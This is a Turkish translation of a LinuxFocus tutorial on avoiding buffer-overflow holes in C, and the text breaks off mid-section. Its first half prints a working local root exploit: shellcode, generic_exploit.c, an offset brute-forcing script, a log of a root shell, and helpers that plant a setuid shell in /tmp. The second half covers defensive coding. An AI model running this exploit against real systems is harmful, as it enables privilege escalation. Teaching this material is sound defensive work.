<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//TR"> <HTML> <HEAD> <META http-equiv="Content-Type" content="text/html; charset=iso-8859-9"> <META NAME="GENERATOR" CONTENT="lfparser_2.17"> <META NAME="LFCATEGORY" CONTENT="Software Development"> <!-- this is used be a number of tools: =LF=AUTHOR: Frédéric Raynal, Christophe Blaess, Christophe Grenier =LF=CAT___: Software Development =LF=TITLE_: Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows =LF=NUMBER: 190 =LF=ANAME_: article190.shtml --> <TITLE>lf190, Software Development: Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows </TITLE> <!-- stylesheet added by lfparser: --> <style type="text/css"> <!-- td.top {font-family: Arial,Geneva,Verdana,Helvetica,sans-serif; font-size:12 } pre { font-familiy:monospace,Courier } p.cl { color:#EE9500 } a.nodec { text-decoration:none } p.trans { font-size:8pt; text-align:right } p.clbox { width:50%; alignment:center; background-color:#FFD700; border-style:none; border-width:medium; border-color:#FFD700; padding:0.5cm ; text-align:center } p.foot { background-color:#AAAAAA; color:#FFFFFF; border-style:none; border-width:medium; border-color:#AAAAAA; padding:0.5cm ; margin-top:0.1cm; margin-right:1cm; margin-left:1cm; text-align:center } --> </style> </HEAD> <BODY bgcolor="#ffffff" text="#000000"> <!-- this is generated html code. NEVER use this file for your translation work. Instead get the file with the same article number and .meta.shtml in its name. Translate this meta file and then use lfparser program to generate the final article --> <!-- lfparser can be obtained from http://www.linuxfocus.org/~guido/dev/lfparser.html --> <!-- 2pdaIgnoreStart --> <!-- start navegation bar --> <!-- top navegation bar --> <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%"> <TR bgcolor="#2e2292"> <TD class="top"><TABLE cellspacing="0" cellpadding="0" border="0" width= "100%"> <TR><TD width="144"><IMG src="../../common/images/logolftop.gif" alt="[LinuxFocus-icon]" width="350" height="45" align="left" border="0"></TD> <TD class="top"> <TABLE width="100%"> <TR align="right"> <TD class="top"><A class="nodec" href="../index.shtml"><FONT color= "#DDDDDD">Ev</FONT></A> | <A class= "nodec" href="../map.html"><FONT color= "#DDDDDD">Erişimdüzeni</FONT></A> | <A class= "nodec" href="../indice.html"><FONT color= "#DDDDDD">İçindekiler</FONT></A> | <A class="nodec" href="../Search/index.shtml"><FONT color= "#DDDDDD">Arama</FONT></A> </TD> </TR> <TR align="right"> <TD class="top"> <HR width="100%" noshade size="1"> </TD> </TR> </TABLE> </TD> </TR> </TABLE> </TD> </TR> </TABLE> <!-- end top navegation bar --> <!-- blue bar --> <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="90%"> <TR bgcolor="#00ffff"> <TD><IMG src="../../common/images/transpix.gif" width="1" height= "2" alt=""></TD> </TR> </TABLE> <!-- end blue bar --> <!-- bottom navegation bar --> <TABLE cellspacing="0" cellpadding="0" border="0" align="center" width="94%"> <TR bgcolor="#000000"> <TD> <TABLE cellspacing="0" cellpadding="1" border="0" width= "100%"> <TR align="center"> <TD><A class="nodec" href="../News/index.html"><FONT color= "#FFFFFF">Duyumlar</FONT></A> </TD> <TD><FONT color="#FFFFFF">|</FONT> </TD> <TD><A class="nodec" href="../Archives/index.html"><FONT color= "#FFFFFF">Belgelikler</FONT></A> </TD> <TD><FONT color="#FFFFFF">|</FONT> </TD> <TD><A class="nodec" href="../Links/index.html"><FONT color= "#FFFFFF">Bağlantılar</FONT></A> </TD> <TD><FONT color="#FFFFFF">|</FONT> </TD> <TD><A class="nodec" href="../aboutus.html"><FONT color= "#FFFFFF">LF Nedir</FONT></A> </TD> </TR> </TABLE> </TD> </TR> </TABLE> <!-- end bottom navegation bar --> <!-- stop navegation bar --> <!-- SSI_INFO --> <!-- tr_staticssi include virtual --> <!-- tr_staticssi exec cmd --> <!-- addedByLfdynahead ver 1.1 --><TABLE ALIGN="right" border=0><TR><TD ALIGN="right"><FONT SIZE="-1" FACE="Arial,Helvetica">Bu makalenin farklı dillerde bulunduğu adresler: <A href="../../English/May2001/article190.shtml">English</a> <A href="../../Castellano/May2001/article190.shtml">Castellano</a> <A href="../../Deutsch/May2001/article190.shtml">Deutsch</a> <A href="../../Francais/May2001/article190.shtml">Francais</a> <A href="../../Nederlands/May2001/article190.shtml">Nederlands</a> <A href="../../Portugues/May2001/article190.shtml">Portugues</a> <A href="../../Russian/May2001/article190.shtml">Russian</a> <A href="../../Turkce/May2001/article190.shtml">Turkce</a> </FONT></TD></TR></TABLE><br> <!-- 2pdaIgnoreStop --> <!-- SHORT BIO ABOUT THE AUTHOR --> <TABLE ALIGN=LEFT BORDER=0 hspace=4 vspace=4 WIDTH="30%" > <TR> <TD> <!-- 2pdaIgnoreStart --> <!-- PALM DOC --> <TABLE BORDER=0 hspace=4 vspace=4> <TR> <TD> <font size=1> <img src="../../common/images/2doc.gif" width=34 align=left border=0 height=22 alt="convert to palm"><a href="http://cgi.linuxfocus.org/cgi-bin/2ztxt">Convert to GutenPalm</a><br>or <a href="http://cgi.linuxfocus.org/cgi-bin/2pda">to PalmDoc</a></font> </TD> </TR> </TABLE> <!-- END PALM DOC --> <!-- 2pdaIgnoreStop --> <br> <IMG src="../../common/images/FredCrisBCrisG.jpg" alt= "[image of the authors]" width="200" height="150"> <BR>tarafından <A href= "mailto:pappy@users.sourceforge.net,ccb@club-internet.fr,grenier@nef.esiea.fr"> Frédéric Raynal, Christophe Blaess, Christophe Grenier</A> <BR><BR> <I>Yazar hakkında:</I><BR> <P>Christophe Blaess bağımsız bir havacılık mühendisi.O bir Linux meraklısı ve birçok işini bu sistem yardımıyla yapıyor.<I>Linux Dökümantasyon Projesi </I> tarafından yayınlanan kişisel sayfaların çevirisinin organizasyonunu yapıyor.</P><P>Chritophe Grenier ESIEA'da beş yıldır öğrenci ve aynı zamanda burada sistem yöneticisi olarak çalışıyor.Bilgisayar güvenliğine karşı bir tutkusu var.</P><P>Frédéric Raynal birçok senedir Linux kullanıyorlar çünkü o kirletmiyor, hormonları kullanmıyor, ne GMO ne de hayvansal yağ...sadece ter ve oyunlar.</P> <BR><i>İçerik</i>: <UL> <LI><A HREF="#190lfindex0">Bellekteki Taşmalar</A></LI> <LI><A HREF="#190lfindex1">Hafızadaki Yer</A></LI> <LI><A HREF="#190lfindex2">Programı başlatmak</A></LI> <LI><A HREF="#190lfindex3">Index 'leri Taramak </A></LI> <LI><A HREF="#190lfindex4">n Fonksiyonlarının Kullanımı</A></LI> <LI><A HREF="#190lfindex5">Veriyi İki Adımda Oluşturmak</A></LI> <LI><A HREF="#190lfindex6">Dİnamik Bellek Alanı Kullanımı</A></LI> <LI><A HREF="http://cgi.linuxfocus.org/cgi-bin/lftalkback?anum=190&lang=en">Bu yazı için görüş bildiriminde bulunabilirsiniz</A></LI> </UL> </TD></TR></TABLE> <!-- HEAD OF THE ARTICLE --> <br> <H2> Uygulama geliştirirken güvelik açıklarından kaçınmak - Bölüm 3 : buffer overflows </H2> <IMG src="../../common/images/illustration183.gif" width="100" height= "100" alt="[article illustration]" hspace="10"> <h3>Çeviri : Nur Mumcuoğlu</h3> <!-- ABSTRACT OF THE ARTICLE --> <P><i>Özet</i>: <P> Bu yazı "buffer overflows" giriş yazılarının sonuncusu. Güvelik açıkları ve sırasında bunların nasıl oluştuğu anlatılıyor. </P> <HR size="2" noshade align="right"><BR> <!-- BODY OF THE ARTICLE --> <A NAME="190lfindex0"> </A> <H3>Bellekteki Taşmalar</H3> <P> Bir önceki makalemizde,kabuk çalıştırabilen ve herhangi bir hata anında sistemden çıkış yapabilen 50 byte lık küçük bir program yazdık.Şimdi bu kodu programı çalıştırmak istediğimiz yere yerleştireceğiz.Bu kodda,fonksiyonun geri dönüş adresi ile işlem sırasında otomatik değişken taşmasına sebep olan bizim kabuk adresimiz yerdeğiştirildi. <P> Örneğin,aşağıdaki programda ilk arguman olarak verilen açıklama satırındaki katarı, 500 byte lık belleğe kopyaladık.Bu kopya, yerleştirilen bellek alanı kontrol edilmeden yapıldı. Daha sonra da göreceğimiz gibi <CODE>strncpy()</CODE> fonksiyonu bu problemden kurtulmamızı sağlayacak. <PRE> /* vulnerable.c */ #include <string.h> int main(int argc, char * argv []) { char buffer [500]; if (argc > 1) strcpy(buffer, argv[1]); return (0); } </PRE> <P> <code>buffer</code> otomatik bir değişkendir,boşluk 500  satırı ile oluşturulmuştur; <CODE>main()</CODE> fonksiyonunu girer girmez bellekteki yer korunacaktır. <CODE>vulnerable</CODE> programını 500 karakterden fazla olmayan karakterlerle çalıştırdığımızda,bellekte veri taşması olacak ve işlemde bir mücadele yaşanacaktır. Önceden de gördüğümüz gibi, bu taşma, (aka <em>return address</em>)' i çalıştıracak bir sonraki bilginin adresini tutacaktır. Bu güvenlik çukurunu önlemek için çalıştırmak istediğimiz kabuk kodu adresi ile fonksiyon adresini yerdeğiştirmek yeterli olacaktır.Bu kabuk kodu hafızada kendisinden sonra adresi gelecek şekilde ana belleğe yerleştirilir. <A NAME="190lfindex1"> </A> <H2>Hafızadaki Yer</H2> <P> Kabuk kodunun hafızadaki adresini elde etmek oldukça zordur.Kabuk kodu adresi ile taşmayı tutan <code>%esp</code> kaydı arasındaki geçişi araştırmak gerekir.Biraz güvenliği sağlamak için bellekteki alanın başlangıcı, <CODE>NOP</CODE> bilgi topluluğu ile doldurulmalıdır; bu,bir byte'lık, hiçbir yerde bir etkisi olmayan tarafsız bilgidir.Böylece,kabuk kodunun doğru başlangıcından önce başlangıç adresi işaret edilecektir.Daha fazla şansa sahip olmak için kabuk kodunu sonuna kadar tekrar eden ve <CODE>NOP</CODE> bloğu ile oluşturulan başlangıç adresi izleyecek şekilde, belleğin ortasına yerleştiririz. <a href="#buffer">şekil 1</a>,belleğin yaratılımını gösterecektir. <p> <center> <table WIDTH="90%" NOSAVE> <caption ALIGN=BOTTOM> <a NAME="buffer" href="#buffer">Şekil. 1</a> : taşmanın bulunduğu bellek alanı </caption> <td> <tr><IMG SRC="../../common/images/article190/art_03_01.gif" ALT="[buffer]"></tr> </td> </table> </center> <P> Bununla birlikte,başka değişken atama ile ilgili başka bir problem daha vardır. Çeşitli byte'larda stoklanan bir adres her zaman uyumlu olmayabilir. Bu,doğru atamayı bulana kadar deneme yaparak çözülebilir.4 byte lık işlemciler kullanılmaya başlandığından beri,atamalar 0,1,2 veya 3 byte lık olabilmektedirler. ( <a href="../March2001/article183.shtml"> makale 183</a> e bakın.). <a href="#aligne">şekil 2</a>, de gri bölümler 4 byte'lık kısımları göstermektedir. İlk durumda,geridönüş adresi tekrar yazıldığında sadece biri çalışacaktır. Diğerleri, <code>segmentation violation</code> veya <code>illegal instruction</code> hatalarını verecektir.Bu deneysel yol,bu çeşit bir testi uygulamamıza olanak veren bugünün bilgisayarlarının çıktığı zamandan beri en iyiyi bulan yoldur. <p> <center> <table WIDTH="90%" NOSAVE> <caption ALIGN=BOTTOM> <a NAME="aligne" href="#aligne">Şekil. 2</a> : possible alignment with 4 bytes words </caption> <td> <tr><IMG SRC="../../common/images/article190/align.png" ALT="[align]"></tr> </td> </table> </center> <A NAME="190lfindex2"> </A> <H2>Programı başlatmak</H2> <P> Şimdi,hafızada taşmanın olduğu yere göndermekle zarar görebilen bir program yazacağız. Bu program,kabuk kodunu hafızaya yerleştiren ve çalışacak programı seçen çeşitli seçeneklere sahiptir.Bu versiyonu ,Aleph One'ın EM>phrack</EM> 49 sayılı makalesinden esinlenilerek Christophe Grenier 'ın görselyöresinden alınmıştır. <P> Uygulama alanına hazır bellek alanımızı nasıl göndereceğiz? Genellikle,<CODE>vulnerable.c</CODE> veya çevre değişkendeki gibi komut satırı parametresi kullanabilirsiniz. Taşma,kullanıcı tarafından yazılan,çalışması zor, veya dosyadan okuması zor, satırlar ile oluşacaktır. <P> <CODE>generic_exploit.c</CODE> programı,doğru boyuttaki bellek alanını ayırmak ile başlar, sonra kabuk kodunu oraya kopyalar ve onu adreslerle ve yukarda açıklanan NOP kodları ile doldurur. Daha sonra arguman dizisi hazırlar ve <code>execve()</code> bilgisini kullanarak etiket uygulamasını çalıştırır,daha önce çağrılmış ile yerdeğiştirme işlemi son yerdeğiştirmedir. <code>generic_exploit</code> parametleri önlem için (adresi geri çağırmak için biraz daha fazla bellek alanı) oluşturulan bellek alanları,hafıza geçişi ve atamadır.Şunu belirtmeliyiz ki bellek alanı hem çevre değişkenden(<code>var</code>) hem de açıklama satırından (<code>novar</code>) geçmektedir. <code>force/noforce</code> argumanı,kabuk kodundan <code>setuid()/setgid()</code> fonksiyonuna çağrılıma izin verir(veya vermez). <PRE> /* generic_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b" "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #define A_BSIZE 1 #define A_OFFSET 2 #define A_ALIGN 3 #define A_VAR 4 #define A_FORCE 5 #define A_PROG2RUN 6 #define A_TARGET 7 #define A_ARG 8 int main(int argc, char *argv[]) { char *buff, *ptr; char **args; long addr; int offset, bsize; int i,j,n; struct stat stat_struct; int align; if(argc < A_ARG) { printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n",argv[0]); return -1; } if(stat(argv[A_TARGET],&stat_struct)) { printf("\nCannot stat %s\n", argv[A_TARGET]); return 1; } bsize = atoi(argv[A_BSIZE]); offset = atoi(argv[A_OFFSET]); align = atoi(argv[A_ALIGN]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() + offset; printf("bsize %d, offset %d\n", bsize, offset); printf("Using address: 0lx%lx\n", addr); for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr; for(i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4])); if(strcmp(argv[A_FORCE],"force")==0) { if(S_ISUID&stat_struct.st_mode) { printf("uid %d\n", stat_struct.st_uid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_uid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_uid; } if(stat_struct.st_uid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_uid; } *(ptr++)= 0xb0; /* movb $0x17,%al */ *(ptr++)= 0x17; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } if(S_ISGID&stat_struct.st_mode) { printf("gid %d\n", stat_struct.st_gid); *(ptr++)= 0x31; /* xorl %eax,%eax */ *(ptr++)= 0xc0; *(ptr++)= 0x31; /* xorl %ebx,%ebx */ *(ptr++)= 0xdb; if(stat_struct.st_gid & 0xFF) { *(ptr++)= 0xb3; /* movb $0x??,%bl */ *(ptr++)= stat_struct.st_gid; } if(stat_struct.st_gid & 0xFF00) { *(ptr++)= 0xb7; /* movb $0x??,%bh */ *(ptr++)= stat_struct.st_gid; } *(ptr++)= 0xb0; /* movb $0x2e,%al */ *(ptr++)= 0x2e; *(ptr++)= 0xcd; /* int $0x80 */ *(ptr++)= 0x80; } } /* Patch shellcode */ n=strlen(argv[A_PROG2RUN]); shellcode[13] = shellcode[23] = n + 5; shellcode[5] = shellcode[20] = n + 1; shellcode[10] = n; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* Copy prog2run */ printf("Shellcode will start %s\n", argv[A_PROG2RUN]); memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN])); buff[bsize - 1] = '\0'; args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3)); j=0; for(i = A_TARGET; i < argc; i++) args[j++] = argv[i]; if(strcmp(argv[A_VAR],"novar")==0) { args[j++]=buff; args[j++]=NULL; return execve(args[0],args,NULL); } else { setenv(argv[A_VAR],buff,1); args[j++]=NULL; return execv(args[0],args); } } </PRE> <P> <CODE>vulnerable.c</CODE> dan fayda sağlamak için,uygulama tarafından belirlenmiş bellek alanından daha fazlasını elde etmeliyiz.Örneğin 500 byte yerine 600 byte'ı tercih etmeliyiz.Taşmanın olduğu yeri saptamak için başarılı testler yapılır.<code>addr = get_sp() + offset;</code> bilgisi ile yapılanan adres,adres geri çağrımının tekrar yazılmasını sağlar, tabi bunun için biraz şansa gereksinimi vardır...! Bu işlem <code>%esp</code> kaydının varolan işlem sırasında fazla hareket etmeyeceğini ve program sonuna birinin çağrılacağını destekler. Pratik olarak,hiçbirşey kesin değildir: çeşitli olaylar hesaplamanın yapıldığı zamandan bellekte taşmanın olduğu zamana değiştirilebilir. Burada,-1900 byte lık eksiltme ile taşmayı engellemeyi başardık.Elbette ,bu deneyimi tamamlamak için, <CODE>vulnerable</CODE> etiketi Set-UID <EM>root</EM> olmalıdır. <PRE> $ cc vulnerable.c -o vulnerable $ cc generic_exploit.c -o generic_exploit $ su Password: # chown root.root vulnerable # chmod u+s vulnerable # exit $ ls -l vulnerable -rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable bsize 600, offset -1900 Using address: 0lxbffffe54 Shellcode will start /bin/sh bash# id uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users) bash# exit $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable bsize 600, offset -1900 Using address: 0lxbffffe64 uid 0 Shellcode will start /bin/sh bash# id uid=0(root) gid=100(users) groups=100(users) bash# exit </PRE> İlk olarak,(<code>noforce</code>) bizim <code>uid</code> değişmez.Bunun yanında bize olnaklar sağlayan yeni <code>euid</code> e sahibiz. Böylece, <code>/etc/passwd</code> dosyasını <code>vi</code> editörü ile yazarken, dosya sadece okunabilir olsa bile tüm değişiklikler çalışacaktır: <code>w!</code> yazarak bunu henüz sağlayabilirsiniz:) <code>force</code> parametresi sistemin başlamasından <code>uid=euid=0</code> a izin verecektir. <P> Küçük bir kabuk programı kullanmak,taşmaya sebep olan geçiş değerlerini otomatik olarak bulmayı kolaylaştırır. <PRE> #! /bin/sh # find_exploit.sh BUFFER=600 OFFSET=$BUFFER OFFSET_MAX=2000 while [ $OFFSET -lt $OFFSET_MAX ] ; do echo "Offset = $OFFSET" ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable OFFSET=$(($OFFSET + 4)) done </PRE> Bu başarı,potansiyel atama problemlerinin çözümüne bizi götürmez.Daha sonra,sizin için aynı değerler ile bu örneği çalıştırmak veya sadece atamadan dolayı çalışmaması mümkün olur.(Bütün bunlar, test etmeyi gerektirir,atama parametresi 1,2 veya 3'e (burda 0) değiştirilmelidir. Bazı sistemler hafıza alanına yazmayı kabul etmez,fakat bu Linux'da geçerli değildir.) <H1>Kabuk Problemleri</H1> <p> Maalesef,bazen oluşturulmuş kabuk kendi içinde sonlanana kadar veya açkı tuşa basana kadar kullanılamaz.Bunun anlamı bazı kolaylıklara zor ulaşılabildiğidir. <pre> /* set_run_shell.c */ #include <unistd.h> #include <sys/stat.h> int main() { chown ("/tmp/run_shell", geteuid(), getegid()); chmod ("/tmp/run_shell", 06755); return 0; } </pre> <p> Bu işin üstesinden gelebildiğimiz zamandan beri, <code>run_shell</code> programı, <code>set_run_shell</code> programının yardımı ile kolaylıkları elde edebiliriz. Daha sonra bir kabuğa gereksinimimiz olacaktır. <pre> /* run_shell.c */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main() { setuid(geteuid()); setgid(getegid()); execl("/tmp/shell","shell","-i",0); exit (0); } </pre> <code>-i</code> seçeneği <code>interactive</code>'e uyumludur.Peki neden kolaylıkları direk kabuğa aktarmayalım? Çünkü <code>s</code> bit'i her kabuk için elverişli değildir.Son sürümleri, "uid" in "euid" ile eşit olduğunu göstermektedir. "gid" ile "egid" için de aynı şey sözkonusudur. Böylece,<code>bash2</code> ve <code>tcsh</code> koruma satırını kapsamaktadırlar. fakat ne <code>bash</code> ne de <code>ash</code> bu satırı kapsamamaktadırlar. Bu yöntem,<code>run_shell</code>'nin bulunduğu (burada, <code>/tmp</code>) ve <code>nosuid</code> veya <code>noexec</code>'e ilişiklendiği yerde bölümleme olduğu zaman tasfiye edilmelidir. <H1>Önleme</H1> <P> Bir taşmanın olduğu Set-UID programına kaynak kodu ile birlikte sahip olduğumuzdan beri, dosya sahibinin ID si altında keyfi kod çalıştırılmasına karşı bir tepki hazırlayabildik. Bununla birlikte, ilk golümüz güvenlik çukurlarını önlemekti.Sonra hafızadaki taşmaları önlemek için birtakım kuralları inceledik. <A NAME="190lfindex3"> </A> <H2>Index 'leri Taramak </H2> <P> İlk kural,iyi bir izlenim uyandırıyor: indexler dikkatli bir şekilde taranması gereken dizileri işlemek için kullanılıyor."clumsy" döngüsü : <PRE> for (i = 0; i <= n; i ++) { table [i] = ... </PRE> bir ihtimalle hata içeriyor.Hatanın sebebi <CODE><</CODE> nın yerine <CODE><=</CODE> işaretinin kullanılmasıdır.Böyle bir döngüyü taramak kolay olsaydı, sıfırın altına inmeden indexleri azaltmak bu döngü ile çok zor olacaktı. <CODE>for(i=0; i<n ; i++)</CODE> sıfır durumdan ayrı olarak,algoritmanın kullanıldığı farklı zamanları özellikle döngünün başladığı yerleri kontrol etmek zorundayız. (Hatta birine sizin için bu denetimi yapabilir mi diye sorun) <P> Aynı çeşit problem karakter dizileri(katarlar) da bulundu : son null karakter için bir byte daha eklemeyi düşünmek zorundasınız.Bunu unutamak ,en sık karşılaşılan hatalardan biridir ve değişken atamalarından dolayı gizli kaldığı için hatayı bulmak da zordur. <P> Dizi indexleri eksik hesaplanmamalıdır.Gördük ki bir byte lık taşma güvenlik çukuru yaratmaya yeterlidir (<EM>Phrack</EM> konu 55'e bakın), çevre değişkene kabuk kodu yerleştirmek, örneğin, <PRE> #define BUFFER_SIZE 128 void foo(void) { char buffer[BUFFER_SIZE+1]; /* end of string */ buffer[BUFFER_SIZE] = '\0'; for (i = 0; i<BUFFER_SIZE; i++) buffer[i] = ... } </PRE> <A NAME="190lfindex4"> </A> <H2>n Fonksiyonlarının Kullanımı</H2> Anlaşmaya göre standart C kütüphanesi fonksiyonları null byte'ından dolayı katarların sonundan haberdardırlar.Örneğin, <CODE>strcpy(3)</CODE> fonksiyonu,hedef katarı null byte'ı içeren orjinal katara kopayalar.Bazı durumlarda , bu davranış tehlike yaratır; aşağıdaki kodun güvenlik çukuru oluşturduğunu gördük: <PRE> #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT]; strcpy (identity, name); ... } </PRE> Bu tip bir problemden kaçınmak için sınırlı uzunluğa sahip fonksiyonlar vardır. Bu fonksiyonların,adlarının ortalarında `<CODE>n</CODE>' yazar.Örneğin, <CODE>strcpy(3)</CODE> yerine <CODE>strncpy(3)</CODE> fonksiyonu, <CODE>strcat(3)</CODE> yerine <CODE>strncat(3)</CODE> fonksiyonu, hatta <CODE>strlen(3)</CODE> yerine <CODE>strlen(3)</CODE> fonksiyonu. <P> Bununla birlikte, <CODE>strncpy(3)</CODE> sınırlaması ile dikkatli olmalısınız.Farklı etkiler yaratabilir: kaynak katarı hedeflenenden az olunca, <EM>n</EM> sınırına kadar null karakterler ile tamamlanacaktır.Bu da yeterli performansı sağlamaz.Bunun yanında,eğer fazla olursa,null karakter ile sonlanmayacaktır,si<in eklemeniz gerekecektir.Bunu hesaba vurursak,bir önceki yönteö şu şekilde olacaktır: <PRE> #define LG_IDENT 128 int fonction (const char * name) { char identity [LG_IDENT+1]; strncpy (identity, name, LG_IDENT); identity [LG_IDENT] = '\0'; ... } </PRE> Tabii ki, aynı prensipler, <CODE>wcscpy(3)</CODE> yerine <CODE>wcsncpy(3)</CODE> ı tercih etmek veya <CODE>wcscat(3)</CODE> yerine <CODE>wcsncat(3)</CODE>'ı tercih ederek büyük karakterleri kullanma yöntemine uygulanabilir.Böyelce program daha da büyüyecek fakat güvenlik olacaktır. <p> <code>strcpy()</code> gibi <code>strcat(3)</code> da hafıza boyutunu kontrol etmez. <code>strncat(3)</code> fonksiyonu,uygun yer bulursa karakter dizisinin sonuna bir karakter ekler.<code>strcat(buffer1, buffer2);</code> ı <code>strncat(buffer1, buffer2, sizeof(buffer1)-1);</code> ile yerdeğiştirmek,riski azaltmak için yeterlidir. <p> <code>sprintf()</code> fonksiyonu formatlanmış veriyi diziye kopyalamaya izin verir. Bu fonksiyon,karakter numaralarını hedef katara( "\0" karakterini saymadan) gönderir. Gönderdiği değerleri test etmek,katara,değerlerin doğru eklenip eklenmediğini bilmemizi sağlar: <pre> if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) { /* Overflow */ ... } </pre> <p> Açıkçası,kopyalamak için byte sayısını kontrol edince bunun pek önemi kalmaz. Böyle bir BIND(Berkeley Internet Name Daemon)'daki böyle bir boşluk sisteme zarar veren insanları meşgul edecektir: <pre> struct hosten *hp; unsigned long address; ... /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... </pre> Bu, herzaman 4 byte kopyalamaya izin verecektir.Bunun yanında,eğer <code>hp->h_length</code>'i değiştirebilecekseniz,alanı belirleyebileceksinizdir. Fakat kopayalamadan önce veri uzunluğunu kontrol etmek zorunludur: <pre> struct hosten *hp; unsigned long address; ... /* test */ if (hp->h_length > sizeof(address)) return 0; /* copy of an address */ memcpy(&address, hp->h_addr_list[0], hp->h_length); ... </pre> Bazı durumlarda bu yolun(isim,URL,kaynak yolu) geri kalanını atmak,ve programda,veri yazılır yazılmaz erken yapılmalıdırlar. <A NAME="190lfindex5"> </A> <H2>Veriyi İki Adımda Oluşturmak</H2> Programda diğer kullanıcıya göre özellikli olarak çalışmak için kendini koruma davranışı,gelen tüm şüpheli verileri incelemekte etkilidir. <p> Herşeyden önce,bu,karakter dizisinin yazma yöntemleri ile ilgilidir.Yani, <CODE>gets(char *chaine)</CODE>'unu karakter katarının uzunluğu kontrol edilmeden <EM>asla</EM> kullanmamalısınız(Yazar notu: bu yöntem,ilişiklendirilen editör tarafından yasaklanmalıdır). Daha tehlikeli riskler <CODE>scanf()</CODE>'de gizlenmiştir. <pre> scanf ("%s", string) </pre> satırı,örneğin <CODE>gets(char *chaine)</CODE> kadar tehlikeli fakat çok açık değildir. Bununla birlikte ,<CODE>scanf()</CODE> ailesinden fonksiyonlar veri boyutunun kontrolünü tercih ederler: <pre> char buffer[256]; scanf("%255s", buffer); </pre> Bu yöntemde, <code>buffer</code> 'a kopyalanan karakter sayısı, 255 ile sınırlıdır. Diğer bir tarafdan,<CODE>scanf()</CODE> in karakterleri yerleştirmesi geldiği yere geri göndermesi anlamına gelmemektedir,(örneğin,bir şekil için bekleyen bir karakter), program hatalarının yarattığı kitleme riskleri oldukça büyüktür. <p> C++ ı kullanarak <code>cin</code> akışı C de kullanılan (hatta hala kulanılıyor) klasik fonksiyonlar ile yerdeğiştirir.Aşağıdaki program hafızayı doldurur: <pre> char buffer[500]; cin>>buffer; </pre> Sizin de gördüğünüz gibi,test edilmemiştir! <code>gets(char *chaine)</code> de olduğu durumun aynısı,C'yi kullanırken : kapı oldukça açık.<code>ios::width()</code>'in üyesi olan fonksiyon,karakterleri, okunması için en üst sayı ile eşleştirir. <P> Okunana veri iki basamağa sahiptir. İlk aşama,karakter dizinin hafıza alanınının boyutunu sınırlayan <CODE>fgets(char *chaine, int taille, FILE stream)</CODE> ile olması konusunda ısrar etmektedir.Sonra okunan veri silinir,örneğin <CODE>sscanf()</CODE> ile. İlk aşama bundan daha fazlasını da yapabilir,örneğin;<CODE>fgets(char *chaine, int taille, FILE stream)</CODE> i,istenilen hafızayı,keyfi sınır koymadan otomatik olarak sağlayan döngünün içine yerleştirmektedir. GNU uzantısı <CODE>getline()</CODE> bunu sizin için yapabilir.<CODE>isalnum()</CODE>, <CODE>isprint()</CODE>, vb. leri kullanarak yazılması onaylanan karakterleri içermesi de mümkündür.<code>strspn()</code> fonksiyonu etkili bir süzmeye müsade eder.Program biraz daha yavaş olur,fakat böylece kodun duyarlı bölümleri tehlikeli veriye karşı kurşun geçirmez bir yelek ile korunur. <P> Doğrudan veri yazılımının sadece saldırgan giriş noktaları olmaz.Yazılım veri dosyaları zedelenebilir,fakat onlara okumaları için yazılan kod yazmaları için yazılan koddan genellikle daha güçlüdür.Programcılar,sezgisel olarak,içeriği kullanıcı tarafından korunan dosyalara güven duymazlar. <P> Bellek alanındaki taşmalar genellikle şöyle bir şeye dayanmaktadır:çevresel karakter dizileri. Bir programcının,başlamadan önce çevresel işlemi düzenldiğini unutmamalıyız.Alınan kararlara göre,çevresel karakter dizisi "<CODE>NAME=VALUE</CODE>" yazılımının bir parçası olmalı ve kötü amaçlı kullanıcıların önünde kullanışsız olmalı. <CODE>getenv()</CODE> yöntemini kullanmak dikkat gerektirir.Özellikle bu bir karakter dizisinin uzunluğunu(oldukça uzun) ve içeriğini (`<CODE>=</CODE>' içeriğinde herhangi bir karakter bulabilirsinz) geri döndürüyorsa.<CODE>getenv()</CODE> tarafından geri döndürülen karakter dizisi, uzunluğu ve bir karakterin arkasından diğerinin geldiğini dikkate alarak <CODE>fgets(char *chaine, int taille, FILE stream)</CODE> tarafından üretilenlerden biri gibi yaratılacaktır. <p> Böyle filtreler, bir bilgisayar üretiliyormuş gibi yapılır: herşeyi yasaklamak ilk kuraldır! Sonra bazı şeylere izin verilir: <pre> #define 